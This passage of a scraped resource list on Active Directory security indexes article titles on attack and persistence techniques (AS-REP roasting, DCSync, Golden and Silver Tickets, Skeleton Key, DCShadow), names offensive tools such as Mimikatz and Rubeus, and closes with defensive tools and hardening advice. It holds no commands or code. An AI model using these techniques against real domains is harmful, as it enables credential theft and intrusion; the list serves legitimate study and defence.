5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1267' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Kerberos AP-REP Roasting

  * Roasting AS-REPs

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='94'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1271' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Windows Credential Manager/Vault

  * Operational Guidance for Offensive User DPAPI Abuse
  * Jumping Network Segregation with RDP

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='95'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1276' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>DCSync

  * Mimikatz and DCSync and ExtraSids, Oh My
  * Mimikatz DCSync Usage, Exploitation, and Detection
  * Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='96'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1282' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>LLMNR/NBT-NS Poisoning

  * LLMNR/NBT-NS Poisoning Using Responder

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='97'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1286' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Other

  * Compromising Plain Text Passwords In Active Directory

* * *
## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='98'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1290' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Persistence

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='99'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='1292' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Golden Ticket

  * Golden Ticket
  * Kerberos Golden Tickets are Now More Golden

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='100'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1297' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />SID History

  * Sneaky Active Directory Persistence \#14: SID History

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='101'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1301' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Silver Ticket

  * How Attackers Use Kerberos Silver Tickets to Exploit Systems
  * Sneaky Active Directory Persistence \#16: Computer Accounts & Domain Controller Silver Tickets

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='102'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1306' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />DCShadow

  * Creating Persistence With Dcshadow

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='103'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1310' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />AdminSDHolder

  * Sneaky Active Directory Persistence \#15: Leverage AdminSDHolder & SDProp to \(Re\)Gain Domain Admin Rights
  * Persistence Using Adminsdholder And Sdprop

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='104'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1315' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Group Policy Object

  * Sneaky Active Directory Persistence \#17: Group Policy

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='105'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1319' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Skeleton Keys

  * Unlocking All The Doors To Active Directory With The Skeleton Key Attack
  * Skeleton Key
  * Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='106'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1325' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />SeEnableDelegationPrivilege

  * The Most Dangerous User Right You \(Probably\) Have Never Heard Of
  * SeEnableDelegationPrivilege Active Directory Backdoor

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='107'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1330' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Security Support Provider

  * Sneaky Active Directory Persistence \#12: Malicious Security Support Provider \(SSP\)

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='108'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1334' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Directory Services Restore Mode

  * Sneaky Active Directory Persistence \#11: Directory Service Restore Mode \(DSRM\)
  * Sneaky Active Directory Persistence \#13: DSRM Persistence v2

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='109'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1339' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />ACLs & Security Descriptors

  * An ACE Up the Sleeve: Designing Active Directory DACL Backdoors
  * Shadow Admins – The Stealthy Accounts That You Should Fear The Most
  * The Unintended Risks of Trusting Active Directory

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='110'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1345' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Tools & Scripts

  * PowerView \- Situational Awareness PowerShell framework
  * BloodHound \- Six Degrees of Domain Admin
  * Impacket \- Impacket is a collection of Python classes for working with network protocols
  * aclpwn.py \- Active Directory ACL exploitation with BloodHound
  * CrackMapExec \- A swiss army knife for pentesting networks
  * ADACLScanner \- A tool with GUI or command linte used to create reports of access control lists \(DACLs\) and system access control lists \(SACLs\) in Active Directory
  * zBang \- zBang is a risk assessment tool that detects potential privileged account threats
  * PowerUpSQL \- A PowerShell Toolkit for Attacking SQL Server
  * Rubeus \- Rubeus is a C\# toolset for raw Kerberos interaction and abuses
  * ADRecon \- A tool which gathers information about the Active Directory and generates a report which can provide a holistic picture of the current state of the target AD environment
  * Mimikatz \- Utility to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory but also perform pass-the-hash, pass-the-ticket or build Golden tickets
  * Grouper \- A PowerShell script for helping to find vulnerable settings in AD Group Policy.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='111'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1360' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Ebooks

  * The Dog Whisperer’s Handbook – A Hacker’s Guide to the BloodHound Galaxy
  * Varonis eBook: Pen Testing Active Directory Environments

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='112'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1365' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Cheat Sheets

  * Tools Cheat Sheets \- Tools \(PowerView, PowerUp, Empire, and PowerSploit\)
  * DogWhisperer - BloodHound Cypher Cheat Sheet \(v2\)
  * PowerView-3.0 tips and tricks
  * PowerView-2.0 tips and tricks

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='113'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1372' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Other Resources

  * Tactics, Techniques and Procedures for Attacking Active Directory BlackHat Asia 2019

* * *
## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='114'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1376' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Defense & Detection

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='115'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1378' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Tools & Scripts

  * Create-Tiers in AD \- Project Title Active Directory Auto Deployment of Tiers in any environment
  * SAMRi10 \- Hardening SAM Remote Access in Windows 10/Server 2016
  * Net Cease \- Hardening Net Session Enumeration
  * PingCastle \- A tool designed to assess quickly the Active Directory security level with a methodology based on risk assessment and a maturity framework
  * Aorato Skeleton Key Malware Remote DC Scanner \- Remotely scans for the existence of the Skeleton Key Malware
  * Reset the krbtgt account password/keys \- This script will enable you to reset the krbtgt account password and related keys while minimizing the likelihood of Kerberos authentication issues being caused by the operation
  * Reset The KrbTgt Account Password/Keys For RWDCs/RODCs
  * Deploy-Deception \- A PowerShell module to deploy active directory decoy objects
  * dcept \- A tool for deploying and detecting use of Active Directory honeytokens
  * LogonTracer \- Investigate malicious Windows logon by visualizing and analyzing Windows event log
  * DCSYNCMonitor \- Monitors for DCSYNC and DCSHADOW attacks and create custom Windows Events for these events
  * Sigma \- Generic Signature Format for SIEM Systems

### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='116'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1393' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Active Directory Security Checks \(by Sean
Metcalf - @Pyrotek3\)

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='117'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1395' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />General Recommendations

  * Manage local Administrator passwords \(LAPS\).
  * Implement RDP Restricted Admin mode \(as needed\).
  * Remove unsupported OSs from the network.
  * Monitor scheduled tasks on sensitive systems \(DCs, etc.\).
  * Ensure that OOB management passwords \(DSRM\) are changed regularly & securely stored.
  * Use SMB v2/v3+
  * Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves.
  * Remove trusts that are no longer necessary & enable SID filtering as appropriate.
  * All domain authentications should be set \(when possible\) to: "Send NTLMv2 response onlyrefuse LM & NTLM."
  * Block internet access for DCs, servers, & all administration systems.

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='118'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1408' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Protect Admin Credentials

  * No "user" or computer accounts in admin groups.
  * Ensure all admin accounts are "sensitive & cannot be delegated".
  * Add admin accounts to "Protected Users" group \(requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection\).
  * Disable all inactive admin accounts and remove from privileged groups.

#### <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='119'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55
3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27
1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22
2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64
1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69
3-3.5S14.5 6 13 6z' data-evernote-id='1415' class='js-evernote-
checked'%3e%3c/path%3e%3c/svg%3e' />Protect AD Admin Credentials

  * Limit AD admin membership \(DA, EA, Schema Admins, etc.\) & only use custom delegation groups.
